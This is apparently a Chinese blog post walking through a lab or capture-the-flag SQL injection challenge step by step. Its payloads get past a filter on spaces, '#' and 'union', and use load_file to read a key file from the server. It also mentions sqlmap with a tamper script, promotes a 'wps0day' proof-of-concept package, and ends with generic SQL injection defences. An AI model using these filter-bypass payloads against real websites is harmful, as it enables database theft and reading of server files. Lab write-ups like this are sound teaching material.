题目1 SQL注入(保姆级教程)【文末有惊喜】

url:http://192.168.154.253:81/  #打开http://XXX:81/,XXX为靶机的ip地址

审题

1、打开题目看到有一个提示,此题目需要通过SQL注入漏洞读取/tmp/360/key文件,key在这个文件中

2、开始答题

发现这里url中有一个id的参数,并且给出了当前所执行的sql语句

第一步:判断注入点

1、?id=1'

2、?id=1'and'1'='1

第二步:判断语句模板

1、使用 order by 判断语句模板列数

发现语句在执行中过滤了空格还过滤了“#”

执行失败:

?id=1'and'1'='1'order by 3#

?id=1'and'1'='1'order+by+3#

执行成功:

?id=1')and'1'='1'order/**/by/**/3%23

解释:

?id=1')and'1'='1'order/**/by/**/3%23

  • ')用来闭合前面的语句,order/**/by/**/3%23(order by 3)用来查询模板列数
  • /**/(用注释的方式代替空格),%23(使用url编码代替#

2、判断出语句模板有4个字段

回显正常:

?id=1')and'1'='1'order/**/by/**/4%23  #执行 order by 4 的时候回显正常

回显不正常:

?id=1')and'1'='1'order/**/by/**/5%23  #执行 order by 5 的时候回显不正常

第三步:找回显点

回显不正常:

?id=1')and'1'='2'union/**/select/**/1,2,3,4%23

思路:使用 and 1=2 报错找回显点

回显正常:

?id=1')and'1'='2'uunionnion/**/select/**/1,2,3,4%23

思路:由于过滤了union,所以这里使用双写的方式经行过滤绕过,并且判断出回显点有3个(语句模板中的234位置均为回显点)

第四步:拿到flag

执行成功:

?id=1')and'1'='2'uunionnion/**/select/**/1,database(),load_file('/tmp/360/key'),user()%23

解释:

—— 1')and'1'='2'union/**/select/**/1,database(),load_file('/tmp/360/key'),user()#')

  • database() #当前数据库名
  • user() #当前数据库用户名
  • load_file('/tmp/360/key') #读取服务器文件

扩展:使用sqlmap一把梭哈

1、由于前面判断出了此题注入点存在过滤空格的情况,所以在使用sqlmap的时候需要指定脚本(用注释/**/替换空格字符' ':--tamper "space2comment.py")运行

命令:

命令:

2、获取到flag

猎杀时刻

        目前在GG安全公众号中回复关键字"wps0day",即可获得wps打包套件及poc。

        为了方便师傅们的交流学习,根据广大师傅们的建议,我在之后也会创建一个的群聊。预计在内部群内,我们将分享一些脱敏的漏洞报告和渗透测试实战案例,还将会有一些经验丰富的大牛和巨佬分享他们的经验。后续还将提供一些福利,例如送书和小礼物等等。欢迎师傅们到时候加入群聊,一起交流学习,致力打造一个有丰富学习氛围的小圈子。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL语句来获取或修改数据库中的数据。下面是关于SQL注入的详细解释。 SQL注入是一种利用Web应用程序对数据库进行恶意操作的攻击方式。攻击者利用应用程序没有对用户输入的数据进行足够验证和过滤的漏洞,将恶意的SQL语句插入到数据库查询中,并成功执行了这些语句。 SQL注入可以导致严重的后果,包括数据泄露、数据篡改、系统崩溃等。为了防止SQL注入,开发人员应该在编写代码时采取一些安全措施: 1. 使用参数化查询或预编译语句:这是最有效的防止SQL注入的方法。通过将输入值作为参数传递给查询语句,数据库会将输入值视为数据,而不是代码。 2. 输入验证和过滤:对用户输入的数据进行验证和过滤,只接受合法的输入字符。可以使用正则表达式或其他验证方法来检查输入数据的格式和内容。 3. 限制数据库用户权限:将数据库用户的权限限制到最低限度,只赋予其必要的操作权限。这样即使注入攻击成功,攻击者也无法执行敏感操作。 4. 避免动态构建SQL查询:尽量使用参数化查询而不是动态构建SQL查询语句。因为动态构建SQL语句容易受到注入攻击,而参数化查询可以避免这种问题。 5. 定期更新和修补软件:及时更新和修补数据库和应用程序,以确保安全漏洞被修复。 总之,SQL注入是一种常见而严重的网络安全漏洞,开发人员应该了解并采取必要的防范措施来防止这种攻击。同时,用户也需要保持警惕,避免向不受信任的应用程序提供个人敏感信息。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值